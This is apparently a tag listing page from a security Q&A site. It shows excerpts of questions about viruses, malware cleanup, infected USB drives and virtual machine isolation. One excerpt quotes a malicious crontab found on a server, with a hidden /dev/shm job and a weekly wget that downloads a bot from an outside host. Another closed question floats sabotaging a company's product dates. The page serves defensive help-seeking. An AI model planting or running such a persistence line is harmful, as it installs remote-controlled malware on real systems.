A computer virus is a program or piece of code that is loaded onto your computer without your knowledge and runs against your wishes.

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2answers
64 views

Is there a point in restoring from backups if you don't know where the virus came from?

It's been happening more and more frequently I get viruses with no idea where they come from. I have recent backups, but I don't know if there's a point in restoring since I would just install the ...
-3
votes
2answers
116 views

What kind of virus attack is this? And what do I do now?

I have just inherited a running wordpress installation from another agency and the theme (twentyeleven) they are using for my client has been corrupted. This is what most of the theme's php files ...
8
votes
7answers
7k views

how to protect my USB stick from Viruses

I repair a lot of computers with viruses, malware, and what not, and I have one problem that I am struggling to find a solution for. Whenever I connect my USB stick that has the tools I need for the ...
-8
votes
1answer
134 views

Viable way to ruin a milk corporation? [closed]

Hack into their system and change the "Sell by" date so that it is immediately bad. How long do you think until they notice, if you pull it off?
14
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2answers
555 views

Could once infected machine be ever trusted again?

I'm just about to switch to a new SSD drive, so I figured it's a good occasion for a really, really fresh start. I reconsidered every installed piece of software, uninstalled lots of crap ...
-2
votes
1answer
98 views

Examples of images causing buffer overflows? [closed]

I remember reading a news article of an incident where a hacker was able to use an image to infect thousands (maybe millions?) of computers. Can anyone provide links to such news articles? I couldn't ...
1
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0answers
141 views

Problem with qgankgyefx..vbe virus

I am not sure if I am in right forum. But i am having problem with this virus. On affected computer, If we use a USB drive, all the file become hidden. I am using HFV.exe for retrieve all data in ...
0
votes
1answer
78 views

Self-changing javascript characters in text editors

On Windows Server 2008-R2, certain javascript files are exhibiting the same behavior. Text can be copied from other files and pasted into new ones. In both NotePad++ and Windows' default notepad, ...
8
votes
6answers
9k views

How can I prevent viruses/malware from infecting my flash drive?

I've a pen drive that I carry to the college lab . It seems all the systems in lab is infected. I need to be able to write to the drive, so I can't simply write protect it. Everytime I insert a ...
1
vote
1answer
229 views

Detecting Malware in the android App [closed]

I've been given an APK file, and before re-distributing to the "market" I want to make sure the given android app does not contain the malware. How can I do that ? Business use case is similar like : ...
0
votes
1answer
43 views

Photo Attachment's Feature For Some Mail Servers [duplicate]

You already know google started new service which is related to gmail. http://gmailblog.blogspot.com/2013/11/attachments-in-gmail-now-with-power-of.html When we send new mail to friends.If it ...
2
votes
4answers
52k views

Is Teredo in my router a back door?

I use the school computer, which I bought from school, administered by the IT-department. I opened a port to my computer when I stumbled upon this: It points to my computer IP. (I have a static IP ...
1
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2answers
1k views

Statistics about malware targeting different OS

Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?
1
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2answers
108 views

Getting rid of trojans on Windows XP - the basic toolkit

I haven't had to clean up PCs in a while but it's this time of the year when you go visit relatives and they ask you about this and that, malware and trojans and other delicious things that pop up in ...
3
votes
1answer
306 views

I accidentally installed an adware filled Firefox [solved]

I installed Firefox using a download site, rather than the correct site. After running and installing Firefox I noticed my Chrome had an addon called swift browser added to it by a third party. After ...
0
votes
1answer
115 views

What is “KDV” in antivirus databases?

I scanned a file (virus) on VirusTotal and 3-5 antivirus labelled it as Generic.KDV.549626 Is there any central "KDV" database where all the entries related to a virus are stored?
0
votes
1answer
203 views

Which Antivirus Software used to remove virus Rootkit.Sirefef.Gen?

My System has affect Rootkit.Sirefef.Gen Virus. So i want to know which antivirus software is used to remove Rootkit.Sirefef.Gen virus file.
2
votes
3answers
658 views

Is it possible for a virus or unknown program to automatically start up a webcam

How can I secure my computer more, knowing these days that there are many websites, especially ones where you don't have to even click before a virus is downloaded straight to your hard-drive. I ...
1
vote
0answers
361 views

Adobe Install Redirect

I have heard of the Flash virus floating around, but after reading more I do not believe I have it. When I go to http://get.adobe.com/flashplayer/ So that I can update, 'Install Now' will redirect ...
4
votes
3answers
416 views

How to keep Mac secure from viruses, malware and keyloggers?

How can I download and install software and make sure that it is not infected with viruses, malware or a keylogger? Also, I heard that Macs "don't get viruses". Is this true? Is it a good practice to ...
0
votes
3answers
699 views

Prevention against Cryptolocker virus by requesting password for all installing apps in Windows 7

Is it possible to protect Windows like Linux? I mean, I have Ubuntu installed on my laptop and when some program wants to install something etc. the pop up shows up and I need to type the password. ...
3
votes
2answers
263 views

A new virus with unknown function

We have detected a new virus that was sent to us by mail. The email contained a zip file which contains an executable with the same name. As a first step, we uploaded the file to virustotal, to be ...
0
votes
1answer
103 views

Strange Virus Infecting My Server

I am currently working on a Web App on my dedicated server (LAMP) and it seems like it might be infected with some strange malware/virus of some kind. When I access some domains on that server (every ...
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votes
1answer
115 views

Is there any virus that delets Personal Foder? [closed]

I noticed that some special folders of my ex-HDD have been deleted. 'Personal' is one of them. Is there any virus do that?
3
votes
3answers
534 views

What stops a hacker from installing it's own CA certificate?

Taking a look at this (now rather old) article about the generated rogue DigiNotar certificates, it states the following: ...Such is the case with that small company in the Netherlands, ...
5
votes
3answers
2k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
3
votes
4answers
623 views

Is it possible to catch a virus on my LAN without clicking on anything?

My unpatched PC running Windows is connected to a network which contains other "infected" computers, can I get infected by viruses without any interaction on my part?
19
votes
3answers
978 views

Are older viruses removed from virus definition files?

Antivirus software receives constant updates in the form of virus definition files, containing the patterns used to identify viruses. It is a feature present on most (if not all) major AV for at least ...
1
vote
2answers
1k views

How do worms spread over LAN? [duplicate]

I've been researching LAN recently, and I came across a post talking about viruses spreading over LAN, and I was wondering, how is this possible? Would it not be a huge security issue to allow files ...
5
votes
1answer
416 views

Identifying the source of a Crypto Locker attack

We believe a Crypto Locker virus may have found its way into our network. We're having trouble identifying which computer was responsible for originally bringing the virus in. Does anybody have any ...
1
vote
3answers
199 views

Protecting Backups from Viruses

Currently we are using ReadyNAS by NETGEAR to hold all our images from all our machines. My question is can viruses expand from the machines and infect the NAS drive and the backups? We are using ...
0
votes
0answers
36 views

Securing your virtual machine [duplicate]

I am using my virtual machine and run there a few programs that may be malicious. Is there a risk of my host getting infected? Can a virus migrate to my host considering that I dont allow file sharing ...
0
votes
2answers
107 views

VM security, how to access main OS

Is there any way for me to access the main computer if the VM has been infected? Let's say that I am running Debian or ubuntu in a VM and the main computer uses Windows (or other way around just so ...
1
vote
1answer
547 views

Orbit Downloader botnet program removal [solved]

Recently (shortly after midnight on 10/8/2013) I installed and ran Orbit Downloader. After learning that the latest version (4.1.1.8) has a botnet-like module included I immediately stopped the ...
2
votes
2answers
256 views

Using a virtual machine as a buffer between USB media and OS

I was directed here from the Unix & Linux site. I've gone through some of the related questions, but they seem to be more concerned about whether a guest OS can access the host OS in someway. ...
0
votes
2answers
174 views

Random File downloaded

Okay so I was setting up stuff on my new mac earlier, downloading flash and office. They both downloaded and installed smoothly, but after I noticed a weird new file in my 'downloads' folder: ...
2
votes
1answer
219 views

Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
1
vote
1answer
200 views

How to check my application passes multiple virus scanners

I have an application I am trying to bring to market and I want to ensure that nothing in it is picked up by a virus scanner (since that would reflect badly on me). Since I only have a single scanner ...
1
vote
3answers
344 views

Text changing virus

Can malware change words that I have typed and then saved in the computer'? If so, how likely is this?
1
vote
1answer
173 views

Scan Source Code for Potential Viruses

If you are sent a program written by someone so that you have the complete source code, how would you go about scanning the source code for any potential viruses/malware? Note: While bugs and ...
2
votes
1answer
1k views

Can a file .exe.part already have caused damage?

If on a Windows machine, an antivirus program has found a Win32:Rootkit in a file ...\Temp\...\xy.exe.part, could the file possibly already have caused damage or not given that it seems to be an ...
0
votes
0answers
22 views

Creating unnecessary shortcuts on flash drive [duplicate]

Recently my computer has been infected by a strange kind of virus(may be) that hides all the files and folders of flash drive and created the shortcuts to them instead. The shortcuts are though ...
0
votes
1answer
97 views

Java is running even after it is disabled [closed]

To prevent adds and pop-up that seduce users to install or download viruses I have disabled Java. But I have noticed that even with Java disables Firefox is still running it. The pop-ups are coming ...
1
vote
2answers
308 views

Can malware come in any format?

After reading @Iszi's answer to this question he states Viruses attached in e-mails do not only come in .EXE files. They can be any form of document - PDF, PPT, DOC, XLS, SWF, etc. Are there ...
1
vote
1answer
880 views

Uploading images safe of XSS, php code and virus

I know that my question has been responded lot of times, but most the responses addresses functions that I don't even use (like use include with images) and that makes me worry because maybe I'm not ...
20
votes
6answers
3k views

Malicious Links that Respond to Browsers but not curl or wget

There are some emails with links to people's cracked websites with a malware download Like this kind of email: fake DHL pack station email ... the links often take the form of: http:// ...
2
votes
3answers
1k views

How can winlock virus change Windows Registry without admin permission?

When you try to install program you'll always asked about administrator permission. Same thing when you try to user 'regedit' command. So I'm interested in how does this virus works. How can it edit ...
8
votes
3answers
503 views

Can I use the same keyboard on both my infected and non-infected computers?

I have a computer which is virus infected. Can I use the same keyboard on both it and a "safe/clean" computer without fear? Keyboards these days seem to come with built in software and thus must ...
5
votes
6answers
5k views

Can i get 100% protection from virus by using Deep Freeze?

I have recently installed an application called 'Deep Freeze' that works by "freezing" the state of an operating system and working off delta disks. Rebooting deletes the deltas and reverts back to ...
1
vote
2answers
356 views

Where can I find some “real time” discussion forums for security issues? [closed]

The place where I work was hit by the new Qakbot variant (3rd generation) a couple of days ago and it has been brutal. Unfortunately a lot of the documentation out there is from the 1st iteration of ...